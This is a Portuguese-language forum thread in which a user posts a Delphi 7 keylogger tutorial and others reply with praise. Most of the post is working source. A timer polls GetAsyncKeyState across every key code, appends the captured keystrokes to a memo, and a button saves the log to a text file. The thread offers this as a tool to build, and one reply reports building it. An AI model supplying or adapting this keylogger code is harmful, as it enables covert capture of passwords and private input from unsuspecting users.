[delphi7] Keyloger

[matheusguerra 3]

1º criando o keyloger

2º salvar as coisa que foi digitado

 

1ºParte

Insira um Memo e um Timer, coloque o interval do timer para "1"

No código,coloque a seguinte função:

 

function Coloca(txt: String): String;

begin

Form1.Memo1.Text := Form1.Memo1.Text + txt;

end;

 

E coloque no evento Timer do temporizador:

 

procedure TForm1.Timer1Timer(Sender: TObject);

var

keyloop, KeyResult : Integer;

begin

keyloop := 0;

repeat

KeyResult := GetAsyncKeyState(keyloop);

if KeyResult = -32767 then

begin

case keyloop of

8: Coloca(' [bACKSPACE] ');

9: Coloca(' [TAB] ');

12: Coloca(' [ALT] ');

13: Coloca(' [ENTER] ');

16: Coloca(' [sHIFT] ');

17: Coloca(' [CONTROL] ');

18: Coloca(' [ALT] ');

20: Coloca(' [CAPS LOCK] ');

21: Coloca(' [PAGE UP] ');

27: Coloca(' [ESC] ');

33: Coloca(' [PAGE UP] ');

34: Coloca(' [PAGE DOWN] ');

35: Coloca(' [END] ');

36: Coloca(' [HOME] ');

37: Coloca(' [sETA ESQUERDA] ');

38: Coloca(' [sETA ACIMA] ');

39: Coloca(' [sETA DIREITA] ');

40: Coloca(' [sETA ABAIXO] ');

45: Coloca(' [iNSERT] ');

46: Coloca(' [DEL] ');

91: Coloca(' [WIN ESQUERDA] ');

92: Coloca(' [WIN DIREITA] ');

93: Coloca(' [MENU POP-UP] ');

96: Coloca('0');

97: Coloca('1');

98: Coloca('2');

99: Coloca('3');

100: Coloca('4');

101: Coloca('5');

102: Coloca('6');

103: Coloca('7');

104: Coloca('8');

105: Coloca('9');

106: Coloca(' [NUM *] ');

107: Coloca(' [NUM +] ');

109: Coloca(' [NUM -] ');

110: Coloca(' [NUM SEP. DECIMAL] ');

111: Coloca(' [NUM /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NUM LOCK] ');

186: Coloca('Ç');

187: Coloca('=');

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca(' [APÓSTROFO] ');

193: Coloca('/');

194: Coloca(' [NUM PONTO] ');

219: Coloca('´');

220: Coloca(']');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (KeyLoop >= 65) and (keyloop <= 90) then

Coloca(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then

Coloca(Chr(keyloop));

//numpad keycodes

if (keyloop >= 96) and (keyloop <= 110) then

Coloca(Chr(keyloop));

end;

end; //case;

inc(keyloop);

until keyloop = 255;

end;

 

 

2ºParte

é so vc colocar um button, dae voce coloca esses codigos nele para selvar em .txt

Memo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0))+'teste.txt');

FIM.........:D ^^

[Surfistinha£ 20]

Um otimo keyloger

Mas o topico ta mal organizado

+ tudo bem

Continue assim

Vlw

[kevin35 1]

Realmente Muito bom eu consegui fazer vlw mesmo

mais na proxima tenta organiza mais bote mais cores

vlw continue assim e melhorando cada vez mais e mais '-'

 

Flws Miguxo :D

 

OFF

Surfistinha entra no msn '-'

[matheusguerra 3]

blz

se for pra melhorar eu topo :D ^^

[Surfistinha£ 20]

TOpa pq nao cai pra dentro lek vazendo turtorias muito bons continue assim e mete a cara nos estudos em delphi to on no msn '---